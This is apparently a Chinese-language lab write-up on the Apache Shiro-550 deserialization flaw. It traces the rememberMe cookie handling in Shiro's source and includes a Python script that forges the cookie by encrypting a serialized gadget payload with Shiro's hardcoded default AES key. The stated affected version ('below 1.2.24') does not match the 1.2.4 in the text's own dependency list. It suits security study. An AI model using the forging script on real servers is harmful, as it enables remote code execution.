shiro是java中用来处理鉴权问题的组件,提供了快捷的用户鉴权认证功能.在shrio版本低于1.2.24的时候存在shiro550漏洞,我们clone一个P牛的项目去进行实验测试.实验环境为java8u65
看一下项目添加的依赖:
<dependencies><dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.2.4</version></dependency><dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-web</artifactId><version>1.2.4</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency><dependency><groupId>javax.servlet.jsp</groupId><artifactId>jsp-api</artifactId><version>2.2</version><scope>provided</scope></dependency><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><!-- https://mvnrepository.com/artifact/commons-logging/commons-logging --><dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version></dependency><dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.30</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-simple</artifactId><version>1.7.30</version></dependency></dependencies>
shiro550漏洞成因
我们在用户登录的时候去勾选rememberMe选项,发送服务端给我们设置了一个特别长的Cookie.
这种东西一眼就不正常.而实际上,shiro550漏洞也正是因为这个rememberMe产生的.当我们发送这个rememberMe以后,shiro会对这个字段进行AES解码,然后去进行反序列化.这就有可能导致反序列化漏洞.在shiro550版本以下,这个AES的key是硬编码在代码中的,因此可以被直接破解,去伪造cookie进行反序列化攻击.
下面是具体的解释.
CookieRememberMeManager
全局搜Cookie,找到一个名字像是相关功能的类.我们来看他的getRememberedSerializedIdentity
方法.
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {if (!WebUtils.isHttp(subjectContext)) {if (log.isDebugEnabled()) {String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";log.debug(msg);}return null;} else {WebSubjectContext wsc = (WebSubjectContext)subjectContext;if (this.isIdentityRemoved(wsc)) {return null;} else {HttpServletRequest request = WebUtils.getHttpRequest(wsc);HttpServletResponse response = WebUtils.getHttpResponse(wsc);String base64 = this.getCookie().readValue(request, response);if ("deleteMe".equals(base64)) {return null;} else if (base64 != null) {base64 = this.ensurePadding(base64);if (log.isTraceEnabled()) {log.trace("Acquired Base64 encoded identity [" + base64 + "]");}byte[] decoded = Base64.decode(base64);if (log.isTraceEnabled()) {log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");}return decoded;} else {return null;}}}}
大概可以看到,这个方法大体的功能是对Cookie中的rememberMe字段进行base64解密.那么一定是有什么方法调用了这个方法来进行的.我们去查看这个类继承的抽象类.
AbstractRememberMeManager
在这个类中,getRememberedSerializedIdentity
是一个抽象方法,查找发现这个抽象方法在getRememberedPrincipals
被调用.
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = this.getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = this.convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException var4) { RuntimeException re = var4; principals = this.onRememberedPrincipalFailure(re, subjectContext); } return principals;
}
在这个方法中调用了convertBytesToPrincipals
方法,跟过去看看.
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {if (this.getCipherService() != null) {bytes = this.decrypt(bytes);}return this.deserialize(bytes);}
其中就调用了decrypt方法和deserialize方法.剩下的就是去分析crypt方法给出的加密方式,这个就没去分析.
网上找了个python脚本,去对序列化的结果进行aes加密并base64编码.
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertextdef aes_dec(enc_data):enc_data = base64.b64decode(enc_data)unpad = lambda s: s[:-s[-1]]key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = enc_data[:16]encryptor = AES.new(base64.b64decode(key), mode, iv)plaintext = encryptor.decrypt(enc_data[16:])plaintext = unpad(plaintext)return plaintextif __name__ == "__main__":data = get_file_data("cc1.bin")print(aes_enc(data))
漏洞利用
urldns链
既然有反序列化漏洞,那么首先必然是能打URLDNS链的.测了一下,确实是能打通.
cc链
接下来看cc链,由于存在commons-collections3.2.1
,因此认为理论上是可以打通所有版本的cc链的,然而实际上发现存在问题.
跟随异常处断点来到ClassResolvingObjectInputStream
类的resolveClass
方法.
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException var3) {UnknownClassException e = var3;throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}}
ClassResolvingObjectInputStream
类继承自ObjectInputStream
类,并且重写了resolveClass
方法.来看一下ObjectInputSream
类的resolveClass
方法.
protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{String name = desc.getName();try {return Class.forName(name, false, latestUserDefinedLoader());} catch (ClassNotFoundException ex) {Class<?> cl = primClasses.get(name);if (cl != null) {return cl;} else {throw ex;}}}
可以看到这里是使用Class.forName
去获取Class对象的.而在ClassResolvingObjectInputStream
中使用ClassUtils.forName
去获取Class对象,这个方法传入的参数不能是数组,因此我们如果传入了Transformer数组会出现报错.
解决方式:使用cc11链打.测试发现可以正常的打通.
cb链
有commons-beanutils
的1.8.3的依赖,显然是可以打通的.那么加入我们删去这个依赖还能打通吗,经过测试发现还是成功打通了,这就很有意思.
一看依赖发现了问题,原来是shiro中自己引入了commons-beanutils
的1.8.3的依赖.
因此只要是1.2.24版本以下的shiro,都是可以直接用cb1打通的.